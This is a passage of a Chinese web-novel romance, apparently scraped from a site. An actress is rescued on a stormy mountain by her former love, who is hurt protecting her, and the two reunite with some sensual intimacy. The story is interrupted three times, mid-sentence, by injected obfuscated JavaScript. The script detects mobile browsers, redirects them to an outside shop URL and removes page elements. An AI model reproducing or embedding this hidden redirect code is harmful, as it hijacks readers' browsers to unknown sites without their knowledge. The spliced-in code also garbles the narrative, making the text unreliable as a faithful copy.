周柏屿在他通讯录看到了一个不像人名的置顶——a蝴蝶。 “谢老师,你存人名的方式还挺特别啊。”周柏屿的视线落在这个置顶人名上,“她是不是你女朋友?” “周老师,打探别人隐私,是你的爱好?”谢劲舟打开手机上的电筒,幽幽的光照着他下颌线清晰的痞帅侧脸。 他的唇抿成一条线,眸子无波又深邃,不苟言笑的模样,如同冰冷的刀锋。 周柏屿没再多问,但隐隐猜到了点什么。 …… 本来说好要三人分头行动,但最后两人分头行动,因为小苏怕黑,尤其又是在下着雨的山上,她义无反顾地选择跟周柏屿一组。 云雾山之大,想要找人,谈何容易。 谢劲舟边往山上走边喊着驰路的名字,但回应他的,只有自己的回音。 阿驰,你在哪里? 六年来,第一次感到如此焦心。 他以为自己的心,只有在写歌词、画建筑图纸时才会跳动,直到再次遇到驰路,他才深刻地体会到,这六年的心跳,都不如见她一面来得剧烈。 神明为信徒震颤过的热忱,从未减退,更未消亡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨丝斜斜地打进来,将她的头发、衣服渐渐打湿。 此时,闪电像夺人的绳索,紧紧地勒住她的喉,让她喘不过气。 她想起了那些被老爸关在小黑屋里的画面,想起了在精神病院被关住的雷电雨夜,也想起了她演戏时掉入水中被呛得几乎无法呼吸,上岸后老妈跟她说“怎么就这么点肺活量”的嫌弃眼神,想起了她被人关在片场的化妆间整整一晚,老妈找到她后说“早让你对她留点心眼,你非不听,非要被人整了才后知后觉”…… 她知人心凉薄,却还是奢望能有光照进来,哪怕这光只有薄薄的一缕。 在娱乐圈,驰路见过太多是非善恶、真诚与虚假,善意总是难得。 不论从前,还是现在,她好像从来都是一个人走在路上,只有不停地往前走,才能追到那缕光。 那缕光,是曾经给过她炽热情感的谢劲舟,也是她自己。 蝴蝶碎在人间,却也要靠自己,才能找回翅膀。 她要做自己的翅膀。 即使死去,也要化作青山,坐在云端,远离尘世,俯瞰山河。 这里不是牢笼,却宛若牢笼,将她困住。 有人会发现她不在酒店吗?会有人来找她吗? 不会吧。 有时她怀疑,老妈是故意找来小苏这样的人来当自己的助理。 她感觉,老妈想从她身上捞金,却又不希望她过得多好。 母女情谊,与金钱相比,显得那么稀薄。 驰路用尖利的指甲抓挠着右脚踝的文身,一下下抠着,抠疼了、抠破了,也不在意。 她要用这疼,来提醒自己,这个世界并没有将她遗弃,她还活着。 下着雨的夜晚,早已没了白日里的燥热,冷意一阵阵地袭来,狂风肆虐,吹着她湿了的衣服,她冷得身体发抖。 随着一道道惊雷响起,她的脑中便会一遍遍闪现曾经发生过的可怖画面,吓得她的心脏不停颤动。 时间变得好慢好慢,她的意识越来越混沌,隐约听到传来喊她的声音,一声声地喊着“阿驰”。 声音哑得厉害,那么遥远,那么不真切。 宛若一场虚无的梦、抓不住的风。 她是在做梦吗?就算是梦,她也要抓住这唯一的风。 102. 你要怎么补偿我? 「我不要墨守成规,我要你回归。 我不要隔岸观火的爱,我要涉过你的海。 喜欢不该留白,我要将你揽入怀。 小蝴蝶,回到我身边,好不好?」 ——《神明降临》 洞口很矮,驰路只能弯腰往外走,她匆忙地循声望去,遥遥地看到一束光,与光同行的是一道高大的身影。 只有那一点点的光,她却觉得惊喜万分。 终于,还是有人来找她了。 她拼命地跑向那个身影,那个身影也朝她跑来,中途她摔了一跤,但很快爬起来,继续往前奔跑,脸上沾满了雨水,眼睫上也挂着水珠,眼前的一切雾蒙蒙的,而越来越近的人,像一场一戳就破的美梦。 离他越来越近,驰路却不跑了,期待着有人将她捞回现实,没想到却是谢劲舟。 他是她本能想靠近、又本能想远离的那个人。 她很矛盾,就好像走到了一条明明知道应该选哪条路的岔路口,她却站在路口,犹豫不前。 …… 谢劲舟跑向驰路的每一步都没有丝毫的停顿,不管脚下滑了多少次,一次都没阻挡他前进的脚步。 终于找到他的蝴蝶了! 谢劲舟一把将呆愣在原地的驰路抱在怀里,抚摸着她被雨水打湿的头发,轻声说:“阿驰,不要怕,我来了。” 驰路被困在山洞里,遭遇雷电时,再害怕都没有掉一滴眼泪,但现在她的眼泪像失禁般,从眼眶里汹涌而出。 “谢劲舟,为什么是你!”她边哭边说,眼泪混着雨水流入她的嘴里,咸咸的,凉凉的。 此刻,天地间唯一的温存,只有谢劲舟的怀抱。 风雨侵袭着她的每寸肌肤,她冷得身体发抖,被他搂得更紧。 驰路仅剩的理智提醒她,不能沉溺于他的怀抱,一旦对谁产生依赖,便很难割舍。 驰路想要推开他,却被他紧紧地抱着,听到他说:“阿驰,别乱动,让我抱抱!” 她被禁锢在他的双臂间,属于他独有的气息盖过青草味,挤满她的世界。 “你放开我!”驰路还在挣扎着,见他不听,只好说,“你扯到我的伤口了,疼。” 这招管用,谢劲舟立马松开驰路,双手搭在她的肩头,上下打量她,急切地问:“你哪里受伤了?” “后背。”被雨水浸湿后的后背,每个伤口都像被撕开,疼意格外明显。 “拍戏时受的伤?”谢劲舟想起戏中她被周柏屿一遍遍在地上拖的画面,心就泛疼。 “嗯。”驰路点头。 眼前的驰路不再是人前风华绝代的大明星,浑身湿漉漉的,像一只被人折断翅膀的可怜蝴蝶。 谢劲舟撑开伞:“我们先回山上的别墅躲雨。” 他见她肩膀还发着抖,一把将她搂在怀里。她扭动两下,他便用哄小孩的语气说:“乖,别动。” 充满宠溺意味,让驰路生出他们一如从前的错觉,想起六年前,在静心山,那个下雨天,她迷了路,他来找她,替她撑伞,跟她说“阿驰,跟我回家吧。” 在他怀里,她总能感到心安,如迷途之鸟,终于找到归宿。 雷声轰隆,闪电划过,驰路吓得身体越发颤抖,下意识往谢劲舟怀里钻,她想找到更深的庇护,可以挡住外界的所有风暴。 谢劲舟用胳膊遮住她的耳朵,用手捂住她的眼睛,哑着声音跟她说:“阿驰,跟着我,你尽管放心大胆地往前走。” 雷声、闪电似乎都消散,她的身体渐渐回归平静,嘴巴贴着他的掌心,能感受到他掌心里的每根纹路,心脏在这一刻再次复活。 * 回山中别墅的路不易,雨还在下,路滑难行,一路上谢劲舟都紧紧地揽着驰路,挡住她的耳朵,遮住她的视线。 驰路其他的感官在黑暗中被放大,被谢劲舟一路领着往前走,他往哪里,她就去哪里。 耳边不时有碎石落下,谢劲舟一直护着驰路。 再次传来滚石的声音,谢劲舟侧头一看,眼见要砸到她身上,谢劲舟一把将她往一侧推去,自己却被石头砸得往下滚去,滚到驰路看不见的地方。 “谢劲舟,谢劲舟!”驰路拼命地喊他。 她望着漫天雨帘,望着黑漆漆的四周,世界好像消了音,唯独只听到她嗡嗡嗡的耳鸣声,还有她剧烈跳动的心跳声。 驰路拼了命地往下跑,石头很滑,她次次滑落,摔倒了好几次,却依然疯了一样不管不顾地往下跑。 举目望去,前方便是悬崖,他不会…… 谢劲舟,你不能死!你不能死!你一定不能死! 驰路一遍遍喊着“谢劲舟”,喊一遍,心脏都跟着颤一下,泪水也止不住地往下掉。 哪里还有一点高高在上的明星样,像极了可怜的流浪猫。 天地很大,四处很黑,她什么都看不见,孤立无援地站在风雨里。 雷电交织,她吓得捂住耳朵,却还在往前跑。 如果要死,就一起吧。 神明陨落,信徒也要跟随。 这样的念头,猛然蹦出。 这么多年,翻山越岭,攀上山顶,却还是在意着当年给她撑伞的小狗。 这时,驰路看到眼前有一棵树,树那边,好像……有一个人。 她慌忙地跑过去,路面湿滑,她几乎像溜冰一样滑到了树旁,没收住脚,一整个人倒在了谢劲舟的怀里。 “谢劲舟,谢劲舟……”驰路看着闭着眼的谢劲舟,焦急地一遍遍喊他。 回答她的只有雨声,啪嗒啪嗒地砸在她的身上。 驰路第一次感到前所未有的恐惧,每根神经都紧绷着,像被人吊在半空,无法落地。 她活了二十四年,从没害怕失去过什么,名利她都可以不用,唯独一个人,她不能失去。 他是她的舟,是她炽热的青春,是过了六年,还想抓住的渴望。 驰路见他不回应,伸手要去探他的脉搏,手颤颤巍巍地往前探。 谢劲舟,你不会有事的,对不对! 你不是要让我恨你一辈子吗,我恨你一辈子,你给我醒醒! 突突突,驰路感受到他的脉搏一下下地跳动着,这才长长地舒了口气。 “谢劲舟,给我醒醒!”驰路轻轻推着谢劲舟,想到了六年前差点溺水的他,之前是他自己出现意外,可这次不一样,他是为了她而昏迷。 “谢劲舟,你不能有事,你不要丢下我!”驰路的眼泪情不自禁地落下,她趴到谢劲舟身上,紧紧地与他贴着,“你为什么要帮我挡?你真是全天下最大最大的傻子!傻子……你这个傻子……” “你压着我了。” “谢劲舟!”驰路连忙从谢劲舟身上起来,双手捧住他的脸,“哪里伤到了?” 刚才滚下来时,脑袋撞到了头,让他陷入了短暂的昏迷。 谢劲舟的后背刚被石头狠狠砸过,滑下去此时又被驰路压着,疼痛万分,但他只是轻轻蹙了下眉。 驰路想起身,却被谢劲舟一把抱住:“是不是很怕老子死?” “谁怕!”驰路胡乱地抹眼泪,吸了吸鼻子。 其实,她怕得要死,怕他坠落悬崖,怕这个世界再没有一个染着雾霾蓝、脖颈处文着文身,叫“谢劲舟”的人。 在见不到他的日子里,只要想到世界的某个地方,还有谢劲舟,她就有了熬过黑暗的力量。 他给她的滚烫,够她惦念一辈子。 谢劲舟勾住她的脖颈,凑近她,边吻她的眼泪边说:“傻瓜,怎么做演员的,连说谎都演不好。” “浑蛋!你刚才不要命啦!”驰路气恼地捶了下他的胸口。 保护他的蝴蝶,是下意识,是他的本能。 谢劲舟吻她右眼尾的那颗胭脂痣,感到她轻颤的眼睫,沉声说:“所以,阿驰,你要怎么补偿我?” …… 回到别墅,两人的衣服都湿透了,谢劲舟给驰路找了件戏里穿的白色旗袍,又给了她一盒药箱:“记得消毒、抹药,伤口进水了要发炎。” “我看看,你的后背。”驰路刚一直要看,他偏不让,这次她把他拽过来,想掀开他的黑色T恤,却被他抓住手。 “我没事,你先赶紧抹药。”谢劲舟转身疾步出了化妆室。 驰路换衣服时,紧身上衣贴在伤口上,往上脱时,扯得伤口很疼,一个一个地扯开,感觉皮肤都要裂开。 等脱了上衣,她侧头看伤口,一块块的红色伤口上满是水迹。 驰路用毛巾把身上的雨水都擦干净后才套上旗袍,药箱就在一旁,她拿出碘伏,却只能擦到几块,再往下的伤口,她看不见,也够不到。 找谢劲舟帮忙? 不,她才不要! …… 谢劲舟去了卫生间,一把脱掉衣服,转身看着镜子里的自己,后背被石头砸到的地方血肉模糊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560819|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩盖了之前的伤疤,看来又要多几道伤疤了。 他用水把血迹冲掉,再把消毒水直接倒在伤口上,疼得咬了咬牙,再把药挤下去,抹开。 干净利落地处理完伤口,换了件戏里穿的深灰色长袖衬衫,把袖子卷起来,露出紧实性感的小臂。 谢劲舟回到驰路所在的化妆室,提醒她:“驰老师,每个伤口都要擦,发炎了不好处理。” 驰老师?又回到陌生疏离的关系?! 为了后续的戏能进展顺利,驰路并不想跟身体作对,犹豫半晌,终于跟谢劲舟说:“谢老师,有几个地方抹不到,你可以帮我抹吗?” 很快得到回应:“可以。” 驰路打开更衣室的门,谢劲舟看到了驰路的后背,眸光顿时一黯。 他知道她拍戏时后背应该受了伤,本来想让小苏给她送药,却被她拒绝了。 谢劲舟让驰路坐到化妆镜前,找来了药箱。 被雨水浸湿的伤口,泛着一点白,谢劲舟拿出棉签,蘸上碘伏,轻轻地涂抹到她伤口上。 他看到驰路微微皱起的眉头,停下:“疼吗?” “不疼。”怎么可能不疼,但驰路生生忍着。 谢劲舟涂抹破碎蝴蝶文身上落下的伤口,每抹一次,心脏都像被人重击了一下。 被周柏屿在地上拖拽的这场戏,除了有顾辞山的高要求,还有驰路对自己的高要求,哪里的眼神不太对,手脚动作还有另外的演绎方式。 哪怕会让自己受伤,她也要给观众呈现最好的祁梦。 他每次涂抹碘伏时,驰路都感觉到他的动作很小心,生怕弄疼她,让她有种被呵护的感觉。 他的指腹时不时会擦过她的肌肤,引起一阵阵酥麻,心跳也变快。 为什么面对谢劲舟,她的心还是那么无法自控? 她想起了早晨在他白衬衫的口红印,心中不爽,努力平复心跳。 这时,她听到谢劲舟说:“驰老师,那个口红不是你想的那样,是傅老师跟我讲戏时,故意把口红画在我身上,让我演被画时的反应。” 早上那会儿,正好赶上傅老师有时间,谢劲舟便主动去她,让她帮忙指导下演技。 驰路暗忖:竟然跟她想到一起了,这就是传说中的同频共振? 她故作不在意,扭头瞥他一眼:“为什么要跟我解释?” 谢劲舟边给她抹药边说:“怕你误会。” 驰路追问:“误会了会怎样?” 她的心开始紧张起来,隐隐期待着某个答案。 “怕影响你拍戏的心情。” 驰路的期待落空,却装作无所谓的样子,打开手机,看微信好友申请,申请备注:不是。 他这么费心地跟她解释口红事件,仅仅是怕影响自己拍戏? 刚才不顾生命危险地救她,仅仅是出于同事之间的帮助? 驰路不会知道,谢劲舟第一时间解释,是怕她生气,怕她难过,更怕她以后不理他。 难得再次相遇,他灰暗的世界,飞进同一只蝴蝶。 他希望蝴蝶煽动翅膀,停留在他的左肩。 …… “驰姐,谢老师,你们……”小苏看到眼前这一幕惊得睁大眼、捂住嘴巴。 驰姐怎么露着背,他们在做什么? 周柏屿也看到了,眉头紧紧地拧了下。 谢劲舟第一时间挡住驰路的后背,帮她拉上拉链,叮嘱她:“驰老师,这两天伤口不要碰水,要定时换药,要是够不到的话,”他扭头去看小苏,“可以让小苏帮你。” “啊,驰姐,你受伤了!”小苏急忙跑到驰路身旁,“严重吗?” “没事,就拍戏时受的一点皮外伤。”驰路轻描淡写道。 “那,你们刚才……”小苏有些无法理解,就算驰姐够不到抹药,也用不着男搭档帮她抹啊,她驰姐是多么洁身自好的一个人,什么时候让人对她做过这么亲密的事。 谁都没有解释,周柏屿走上前,拿过一旁的毛巾,帮驰路把头发上没擦净的雨水擦掉。 谢劲舟眸子一沉,放在椅背上的手,紧紧握起。 谢劲舟不耐烦地催促:“可以了吧。” 周柏屿却没有受谢劲舟的影响,不慌不忙地帮驰路仔细地擦着雨水。 小苏怎么感觉氛围有点不对劲,谢老师、周老师好像在暗里较劲,是不是她的错觉啊! 这状况,令人捉摸不透啊! 103. 你的身体很诚实 「我是一只破碎蝴蝶,你在蝴蝶的骸骨上打造了一座乌托邦。 乌托邦里有十八岁的少年,还有一个最炙热的夏天。 我学不会告别,我要有你的夏天。」 ——《小蝴蝶的自由》 驰路的余光时不时地留意着谢劲舟的神色,见他烦躁、不爽的样子,那颗冷然的心,又跳动起来。 …… 外面还在下雨,下山的路不好走,经商量,四人决定不回酒店,直接在别墅住下。 这儿有床、有沙发,倒也能睡人。 小苏知道驰姐不喜欢跟人睡,主动要了一楼的沙发。 周柏屿想选二楼主卧旁边的次卧,却被谢劲舟抢先:“我选这间。” 语气坚定,不容置喙。 本着谦让的态度,周柏屿并未跟谢劲舟争,只好选择一楼的卧室。 驰路躺在床上时,外面还在电闪雷鸣,即使开着灯,她脑中也不停闪现儿时被人霸凌、被老爸关小黑屋、被关精神病院的事,一次次将她拉入深渊。 这张床是她在戏里被陈醉折磨的床,让驰路时不时想起他狰狞的表情、对自己的各种粗暴言行。 都说入戏太深不好,但作为演员,你不入戏,便无法演活角色。 惊雷蓦然滚过,驰路吓得尖叫出声,连忙从床上爬起来,蜷缩在床角,双手捂住耳朵,身体颤栗着。 恐惧、害怕,将她一层层裹住。 夜色太黑,雷声太大,而她是一只怎么也挣脱不了牢笼的困兽。 第一时间闪出这样的念头:要是谢劲舟在就好了。 他好像才是她,唯一可以停靠的小船。 谢劲舟,你过来,好不好! 她不喜欢这样的自己,有软肋,有脆弱,有伤口,却又无能为力。 身体的每根神经都被恐惧撕扯着,似要将她扯成碎片。 就在她的神经要抵达崩溃边缘时,耳边传来一阵声音,咚咚咚,一下一下,急促,但轻,几乎听不清。 驰路放下双手,看着门的方向,听清了是有人在敲门,问:“谁?” “是我。” 谢劲舟的声音,很哑,咳嗽了一声。 一道闪电划过,驰路吓得哆嗦了下身体,急忙说:“进来。” 谢劲舟进来时,看到了躲在床角、瑟缩在床角的驰路,几步冲上前,一把将她紧紧抱住。 驰路没有推开他,而是把脑袋靠在他的肩头。 “谢劲舟,我好想就这样死掉……”驰路的指甲掐在手心里,印出月牙般的印子。 “胡说什么。”谢劲舟轻轻抚摸着她的头发,温声说,“阿驰,只要我活着,你就不能死!” “谢劲舟,”驰路抬头看他,眸子里水光潋滟,“你为什么要对我这么好?” “蝴蝶,不管飞多高、飞多远,都还是我的蝴蝶。”谢劲舟松开她,抚着她的右眼尾的那颗胭脂痣。 驰路抓住他的手,凝视他的眼睛:“舟哥,你还爱我吗?” “舟哥”,光听到这个称呼,谢劲舟的心禁不住猛然一跳,触动了他最敏感的那根神经。 “现在有那么多人爱你,缺我一个吗?” “你觉得缺吗?”驰路攥紧他的手,眸子里含着难得的浓烈情感。 谢劲舟用手指在她的手心里画着什么,另一只手捏住她的下巴:“老子想你想得发了疯,算不算爱?” …… “为什么一直不联系我?”驰路一把拽起他的衣领,问出一直以来最想问的一句话。 她眼里泛出点点水光,透出克制的委屈。 “你知道的,当年我……爸……”谢劲舟的声音有些发涩,“爸”这个字,似卡在喉咙口,说得艰难。 “他很浑蛋!”谢劲舟嗤笑,“只要你在,他就会一直把你当摇钱树,影响你的学业和前途,这一点,我们没说,但都心知肚明。” “你以为当年,我不想留住你吗,老子想留你想疯了!”谢劲舟的眉头紧紧皱起,“但,我不得不放手。” “后来呢,”驰路心头酸酸胀胀,一下子把她拉回六年前的那段黑暗时光,“你就一次都没想过要跟我联系?” “想过。” “因为你爸去世,你就没心情联系我?” “你怎么知道我爸去世了?” “罗子昂跟我说过。” “当初,不是没心情联系你,是蝴蝶应该飞得高、飞得远,而我,只属于芳町镇。”谢劲舟看似平静地说,“芳町镇有奶奶,有小乔,她们需要我。芳町镇还有谢鸿运,只要他在,我就不能将你拽过来。” “我懂,我都懂。”驰路的心脏疼得厉害,眼泪几乎要落下来,仰起头,把眼泪憋回去。 她抑制住剧烈跳动的心脏,吸了吸鼻子说:“蝴蝶要飞走,你就任其飞走,再也不管了?” “没有不管。”谢劲舟将她抱在怀里,几乎贴着她的耳朵说,“我答应过你,每年都会陪你过生日,虽然没办法陪你过了,但每年我都会给你祝福。” 驰路推开他,难以置信地看他:“什么?给我祝福?在哪里?” “我每个月都给你发邮件,”谢劲舟说,“你是不是没收到?” “没有。”驰路拿出手机,点开原来用的邮箱,给谢劲舟看。 “奇怪。”谢劲舟拿过手机,把列表里都找了一番,终于在垃圾邮件里找到,“都在这里。” 是谁把谢劲舟的□□发来的邮件设置为垃圾邮件的?知道她□□密码的也只有路漫,难道是她? 驰路想要去看,却被谢劲舟把手机一把扔到旁边,一手握住她的手腕,在她的腕心碾磨着,像一场场暧昧缱绻的吻。 他的眼眸黑沉、深邃,含着一丝穿越时光的光亮,深深地望着她,终于坦言:“阿驰,当年不是我不去送你,而是……我被人堵住了……” 谢劲舟想起当年那事,一阵气涌上心头,用舌尖顶了顶后槽牙,眸子阴沉:“那帮人……” 他还想说什么,嘴巴被驰路立刻捂住。 她不要他说出那段不堪的从前,因为她,他的傲骨、尊严,被人狠狠碾碎。 再说出来,只会勾起他的不快过往。 这不是驰路想看到的。 驰路摇了摇头:“舟哥,你不用说,罗哥都告诉我了。我知道,那不是你的错。我知道,你也曾那么努力、那么努力地想要见我最后一面,想跟我好好告别。你……真是太傻了!” 属于她手心的温度,尽数扑进他的鼻端,宛若六年前。 谢劲舟的薄唇往前靠近一点,瞬间亲到了她的手心,抬手覆盖在她的手背,眼神比公狗还深情:“阿驰,我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560820|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻,但为了你傻,我愿意!” 她没躲,他再亲一口,弄得她有些痒,刚想移开手,却被他一把抓住,拽住她的食指,从指尖一点点往下亲,直到全部含/在嘴里。 驰路的手指上湿/乎乎一片,像淋了一场暴雨,而这暴雨是温热的、滚烫的,让她的血液瞬间沸腾不已,脸颊绯红,心突突乱跳,像在演奏一场漫长又杂乱的乐曲。 她的身体,袭上阵阵如电流感的酥麻,几乎爬上了脊椎骨。 “谢劲舟……别这样。”她的声音又低又哑,羞答答的,仿若含苞待放的玫瑰。 谢劲舟在她的手指底端轻轻地咬了一口,听到了她从喉间发出的一声低/喘,勾起了他身体里的躁动因子,更深地吻她的手指,比方才吻得更加激烈,仿佛在吮吸世上最美味的棒棒糖。 呼吸变得滚烫,烫在她的指间,被他弄得身体泛出一阵阵痒意,她次次要抽离时,又被他强势地咬住。 他们的视线,牢牢地锁着对方,像两块磁铁,被彼此吸引,在彼此的眼眸里沉溺。 驰路被吻得身体渐渐发软,不由自主地倾倒在他怀里,下巴枕在他的左肩。 她的呼吸变得越来越沉重,不自觉地发出低低的喘/息,如烙铁般,烫在他的左肩。 脑中不由得想起他曾跟她说过的那句话:“我希望我的蝴蝶红遍天,也希望能停留在我左肩。” 舟哥,你看到了吗,你的小蝴蝶,飞回来了。 即使她红遍天,依然能停留在你左肩。 他的吻,越来越炙热,越来越汹涌,如一波波袭来的浪潮,一次次带着不可阻挡的力量,强势地闯入她的世界。 从她的手指,到她的脖颈、下巴、侧脸、眼睑、耳廓。 每一处都留下炽热的吻,却偏偏不吻她的唇,热得燥意在她的身体里到处流窜,身体的每处细胞都在叫嚣着、沸腾着,痒意蔓延至四肢百骸,却只能生生忍着。 这个浑蛋,什么时候这么会撩人了? 这样下去,她该如何承受? 他的每个举动,都透着将要未要的意思,模棱两可地进攻,横冲直撞地暧昧,会让她死! 驰路不想让自己这么无止尽地陷入他的撩/拨中,一把将他推开,问了句让谢劲舟扫兴的话:“舟哥,你有女朋友吗?” 谢劲舟的唇正沿着她的耳廓往下,正要落到她的唇边,便被她打断,眉头下意识蹙起。 垂眸间,看到她落在床单上那只莹白纤细的手指,抬起他宽大的手掌,覆盖在她的手心,一根一根手指地嵌/入她的指间。 一种“你是我的”的感觉,强烈地在他的心间撞击。 是的,他的小蝴蝶从来都是她的! “怎么,你有意愿?”谢劲舟抬起她的下巴,迫使她直视他的眼睛。 “才没有!”驰路一把挡掉他的手,口是心非道。 “如果没有,你为什么用我的话做成你的手机开机屏?”谢劲舟步步紧逼,“如果没有,为什么昨晚你的身体那么诚实?” “怎么诚实了?” “它一遍遍地提醒我,”谢劲舟抬手,用指腹扫过她泛红的唇瓣,“你还爱我,是不是,阿驰?” “不是。” “驰老师,”谢劲舟把手指探入她的唇间,一点点深/入,“你睡了我,不想对我负责?” 104. 阿驰,跟我 「我期待着在某一年的夏天,蝴蝶落在我左肩。 上天似乎听到了我的心愿。 玫瑰花开了,蝴蝶也飞回来了。 这便是最好的人间。」 ——《神明降临》 翌日清晨,小苏去找驰路时,敲了好几遍门,里面都没有一点动静,难道驰姐还在睡觉? 估计昨晚太累了,就让她再睡会儿吧。 小苏没再继续敲门,转身离去。 她不知道,此时驰路在二楼的次卧,身旁躺着谢劲舟。 她丝毫没有听到小苏的敲门声,脑袋枕在谢劲舟的胳膊上,在谢劲舟的怀里静静地睡着。 谢劲舟倒是醒了,听到小苏离去,才轻声叫“阿驰”,试图想喊她起床,她却不耐烦地说:“再让我睡会儿。” 金属质感的嗓音里带着点撒娇的味道。 整个人像树懒般,攀附在他身上。 哪里有一点高高在上大明星的样子,完全是一副受人宠溺的娇公主。 谢劲舟刮了下她好看又精致的鼻尖,用无比低沉又深情的声音在她耳畔说:“小懒虫,再不醒,要被人发现了。” 驰路这才懒懒散散地睁眼,朝他勾了勾唇角:“怎么,你怕了吗?” “老子怕什么,”谢劲舟吻了下她的额头,抬手抚摸上她的唇,一遍遍碾磨着,“我知道,你不能公开恋情,要不然会受影响。” 驰路捏了捏谢劲舟的脸,是真的,不是一场梦。 昨晚睡前的场景在脑中闪现,他让她对他负责,她说:“你也睡了我,不是?我们扯平!” “行,我走了。”谢劲舟往外走,身后却跟了个小尾巴,拽着他的衣角,低声说:“带我走。” 可怜兮兮的模样,像只急需被人领养的流浪猫。 “是你要让老子带你走的。”谢劲舟一把将她打横抱起。 这人还是那么蛮横、霸道、野性,丝毫没有一点喊她“驰老师”时的觉悟。 这次,她没有挣扎,而是任由他抱着,外面的雷电声似乎都消失了,她能唯一感受到的,只有他的怀抱、他的气息、他的心跳。 是他给了她世上最纯粹的情感,是他在她被全世界遗弃的时候,做了她的神明,是他把她写的字刻在了离他心脏最近的地方。 这么多年了,他依然是她脚踝上那个无法洗去的“zhou”,早已嵌/入她的身体。 谢劲舟将她抱到隔壁房间,轻轻地将她放到床上,拉过一把椅子过来。 “舟哥,你做什么?”驰路有些不解地问。 “看不出来?”谢劲舟抱臂看她,“老子陪你。” 驰路拍了拍床:“过来。” “就这么放心我?” “我都受伤了,你能对我怎样!” “只是背受伤了,不影响。”谢劲舟说得一本正经。 “……”不影响,所以呢?你想做点什么? 驰路做了个“你爱来不来”的神情,侧身躺下来,谢劲舟拉过薄被给驰路盖上,自己只是坐在她身旁。 他后背的伤口还隐隐作痛,不能靠着床头。 驰路一把将他拉过来,后背撞到床头,疼得他皱起眉头。 “怎么了,后背疼?”驰路连忙坐起来,趁他没反应过来之前,掀开他的衬衫,看到他后背的时候,惊得睁大眼睛,心猛烈颤动,如同袭来一场海啸。 一大片地方都破损,即使抹了药,也能清晰地看到红色血痕,血痕四周都是深紫色的淤青,盖住了后背上原来的疤痕,触目惊心。 一股莫名的火焰在驰路的胸腔里燃烧,她压低声音,朝他吼:“谢劲舟,你就这么爱惜自己的?你为什么不告诉我?你把我当什么了?” 谢劲舟感受到她紧紧拽着他的衣服,久久地没有放下来,身体还在颤抖着。 须臾,听到了她的抽噎声,有温热的液体顺着他的脊背往下滑。 明明不烫,却让他的心猛烈颤动。 他一转头,看到了闪耀如星的驰大明星竟然在哭! 他单指勾起她的下巴,望着她被泪水浸湿的眼眸:“小傻子,哭什么?” 驰路的眼泪没止住,控制不住地往下掉,一双好看的狐狸眼变得楚楚可怜,声音也泛着哑:“为什么当时要推开我,为什么要为我挡石头?你知不知道,那是会死人的!” “阿驰,你听好了,老子不是谁睡就能睡的,也不是给谁都可以挡石头的。”谢劲舟每个字都咬得很重,神色无比认真,“我这辈子,只做你一个人的神明。你生,我就生;你死,我就死。” 驰路的眼泪如断线珍珠,啪嗒啪嗒地都落在了他的掌心。 她是海报上光鲜亮丽的大明星,是偶像剧里受无数粉丝追捧的女主角,也是舞台上张扬肆意的女鼓手。 她从来都高高在上,从来都一身傲骨,却次次将她最柔软、最真实的一面展露在他面前,全然没了大明星的傲然姿态。 谢劲舟也在驰路面前,放下所有戒备,袒露心声: “喜欢我的女人不少,但很奇怪,没有谁可以走进我的心。” “这六年,我没有一天不想你。” “只有靠近你,我才好像活着。你是我跟这个世界链接的,唯一信号。” “这辈子,如果一定要跟谁一起牵手走在这人间,那个人,只能是你!” “你是我放不下的过去,也是我想要拥有的现在。” “我会爱你,直到世界消亡的那天。” “阿驰,跟我,好不好?” 每个字都像坠入海面的石块,砸出波澜壮阔的心动。 仿佛回到了十八岁,他还是穿着校服的少年。 他把她带到沙漠,看一场辉煌的日落。 在那场辉煌里,他为她送上生日祝福,说出藏匿于心的告白: “跟我吧,阿驰。” “阿驰,如果你一定要属于一个人,那个人只能是我!” “阿驰,跟我谈恋爱。” 不论时光如何流转,少年依然野性、依然霸道、依然热烈。 他总有一种魔力,即便穿越光阴,也能撬开她久未开启的心扉。 喜欢从未停滞,六年消失的时光,此刻像迷途蝴蝶,终于振翅回归属于她的天空。 大费周章的回归,也是一种回归。 她这只蝴蝶,独自飞了太久、飞了太高,没有人问她累不累。 但有人不顾生命危险地去救她,把她放在心尖上,整整爱了她六年。 她终于可以不用漫游孤独,她可以在一场深情告白里将喜欢破土。 驰路的眼泪像珍珠似的掉落,眸子盈盈,哑着声音说:“都怪你,惹我哭了。” 谢劲舟吻她的眼泪,边吻边宠溺道:“我的蝴蝶哭了,都是我的错。” 她窝进他怀里,把眼泪蹭到他的衣服上:“谢劲舟,跟你可以,但你要答应我一个条件。” “好。”谢劲舟揉着她松软的头发,冷沉的声音透着无限温柔,“一百个一千个条件都可以。” “要爱我,一辈子不松手。”她像个撒娇小孩,从他怀里出来,用指腹一下下刮着他凸起的喉结,看着他的喉结上下滚动。 “行。”谢劲舟被她刮得身体一阵燥热,抬手拽住她的手,制止这小孩顽劣的举动,“别说一辈子了,下辈子,下下辈子,我都不会松手,你永远都只能是我的蝴蝶!” 